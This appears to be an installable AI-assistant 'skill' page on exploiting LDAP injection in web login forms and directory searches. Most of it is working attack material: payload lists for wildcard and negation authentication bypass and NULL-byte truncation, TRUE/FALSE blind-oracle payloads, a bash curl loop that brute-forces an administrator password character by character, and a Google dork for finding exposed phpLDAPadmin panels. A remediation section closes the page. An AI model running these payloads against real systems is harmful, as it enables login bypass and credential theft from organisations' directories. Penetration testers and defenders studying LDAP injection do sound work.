Exploiting LDAP injection where web applications build LDAP search filters from unsanitized user input, letting an attacker manipulate filter logic to bypass authentication, enumerate directory objects, and blind-extract attribute values such as passwords. Activates when login forms, search boxes, or directory lookups feed user input into LDAP filters (uid, cn, mail, etc.).
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Exploiting LDAP injection where web applications build LDAP search filters from unsanitized user input, letting an attacker manipulate filter logic to bypass authentication, enumerate directory objects, and blind-extract attribute values such as passwords. Activates when login forms, search boxes, or directory lookups feed user input into LDAP filters (uid, cn, mail, etc.).
During authorized tests of login forms backed by an LDAP/Active Directory directory
When a search/lookup feature queries a directory by uid, cn, mail, sn, or similar attributes
When the app builds filters like (&(user=INPUT)(password=INPUT)) from raw input
When you spot LDAP-style errors, phpLDAPadmin, or directory-driven address books / user pickers
When testing intranet portals, SSO bridges, or HR/employee directories
Critical: Variants Most Often Missed
LDAP filters are prefix/Polish notation: (&(a=1)(b=2)) = AND, (|(a=1)(b=2)) = OR, (!(a=1)) = NOT. The wildcard * matches anything and is the single most powerful primitive. Filters MUST stay syntactically valid — prefer sending ONE clean filter. Test the full matrix for every input:
# 1. Wildcard everything (works in most LDAPi contexts)
user=* password=* --> (&(user=*)(password=*)) # match any
# 2. Authentication bypass — comment/cut the password check
user=*)(& password=*)(& --> (&(user=*)(&)(password=*)(&))
user=*)(|(& pass=pwd) --> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=* password=x) --> (&(user=*)(|(password=*)(password=x))
user=*))%00 pass=any --> (&(user=*))%00 # NULL byte truncates rest
# 3. Target a known account, neutralize the password
admin)(&) password=pwd --> (&(user=admin)(&))(password=pwd)
admin' or '1'='2 (string-context) --> account selected regardless of password
username=admin)(!(&(| pass=any)) --> (&(uid=admin)(!(&(|)(webpassword=any)))) # (|)=FALSE → bypass
# 4. Force absolute TRUE / FALSE
(&) = absolute TRUE (|) = absolute FALSE
# 5. Inject a second filter (behavior depends on server)
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
--> (&(objectClass=*)(ObjectClass=*))(&(objectClass=void)... # first filter executes
Server quirks that change exploitation:
OpenLDAP: if two filters arrive, only the FIRST executes.
ADAM / Microsoft LDS: two filters throw an error.
SunOne Directory Server 5.0: executes BOTH filters.
How to CONFIRM a hit (avoid false negatives)
Auth bypass: a * / *)(& payload logs you in or returns a user record without valid credentials.
Boolean oracle (blind): compare a TRUE vs FALSE payload response.
TRUE: *)(objectClass=*))(&objectClass=void → data returned / "logged in".
FALSE: void)(objectClass=void))(&objectClass=void → no data / login fails.
A reliable difference in body, length, or status between the two confirms blind LDAPi.
Error-based: malformed filters like admin)(&) may raise a directory error, confirming the input reaches the filter.
Treat ANY consistent TRUE/FALSE divergence as exploitable even if no data is directly echoed.
Workflow
Step 1: Identify the Injection & Filter Shape
# Inject special chars and watch for errors / behavior change# ( ) * \ | & ! = NUL
curl -s "https://target/login.php" --data "user=*&password=*"
curl -s "https://target/login.php" --data "user=admin)(&)&password=x"# may error → reaches filter
Step 2: Authentication Bypass
# Classic wildcard bypass
user=* password=* # (&(user=*)(password=*))# Neutralize the password clause
user=admin)(!(&(| password=any)) # makes the password subtree FALSE-negated → TRUE# NULL-byte truncation
user=*))%00 password=any # rest of filter discarded
Step 3: Blind Extraction of Attribute Values (passwords, tokens)
# Per-character brute force over a target attribute using the * anchor.# (&(sn=administrator)(password=A*)) ... iterate A..Z,0..9,symbolsfor c in {A..Z} {a..z} {0..9}; do
resp=$(curl -s "https://target/login.php" \
--data "user=*)(sn=administrator)(password=${KNOWN}${c}*&password=x")
echo"$resp" | grep -q "OK_MARKER" && { echo"char=$c"; break; }
done
Brute-force all default LDAP attributes (use the PayloadsAllTheThings LDAP_attributes.txt list) to discover where sensitive data lives, then dump it character by character.
Key Concepts
Concept
Description
Filter syntax
Prefix notation: (&...)=AND, `(
Wildcard *
Matches any value; core primitive for bypass and extraction
Absolute TRUE/FALSE
(&) is always TRUE, `(
Boolean blind oracle
Compare TRUE vs FALSE payload responses to infer data
NULL byte %00
Truncates the rest of the filter so trailing clauses are ignored
Server divergence
OpenLDAP runs only the first filter; SunOne runs both; ADAM/LDS errors
Tools & Systems
Tool
Purpose
Burp Suite Intruder
Automate boolean/char brute force with grep-match oracles
Validate recovered DN/attributes against the directory if creds obtained
Google dorks
intitle:"phpLDAPadmin" inurl:cmd.php to find exposed admin panels
Common Scenarios
Scenario 1: Wildcard Login Bypass
A login does (&(uid=INPUT)(userPassword=INPUT)). Submitting uid=* and password=* yields (&(uid=*)(userPassword=*)), matching the first directory user and granting access.
Scenario 2: Blind Password Disclosure
A search returns results only when its filter matches. Injecting *)(sn=administrator)(password=A* and iterating the trailing char reveals the admin password one character at a time via the result/no-result oracle.
Scenario 3: Negation Bypass
Login filter (&(uid=INPUT)(webpassword=INPUT)). Payload uid=admin)(!(&(| with pass=any)) builds (&(uid=admin)(!(&(|)(webpassword=any)))) — since (|) is FALSE, the negated subtree is TRUE and admin authenticates without the password.
Output Format
## LDAP Injection Finding
**Vulnerability**: LDAP Injection (filter manipulation)
**Severity**: High to Critical (CVSS 8.1–9.8 when it bypasses auth or dumps creds)
**Location**: POST /login.php (user, password parameters)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Submit user=* and password=* → application authenticates as the first directory user.
2. Confirm blind oracle: TRUE payload `*)(objectClass=*))(&objectClass=void` returns data;
FALSE payload `void)(objectClass=void))(&objectClass=void` returns none.
3. Extract userPassword via per-character injection `*)(uid=admin)(userPassword=A*`.
### Evidence
| Payload | Result | Meaning |
|---------|--------|---------|
| user=*&password=* | Logged in | Wildcard auth bypass |
| ...(password=A* | No result | Char != A |
| ...(password=M* | Result | First char = M |
### Impact
Authentication bypass, enumeration of directory objects/attributes, and blind disclosure of credentials and other sensitive attributes.
### Recommendation
1. Escape LDAP special characters per RFC 4515 ( \28 \29 \2a \5c \00 ) on all user input.
2. Use parameterized directory APIs / framework escaping helpers, never string concatenation.
3. Apply least-privilege bind accounts and restrict which attributes searches can return.
4. Add server-side allow-lists for searchable attributes and reject `*` where not expected.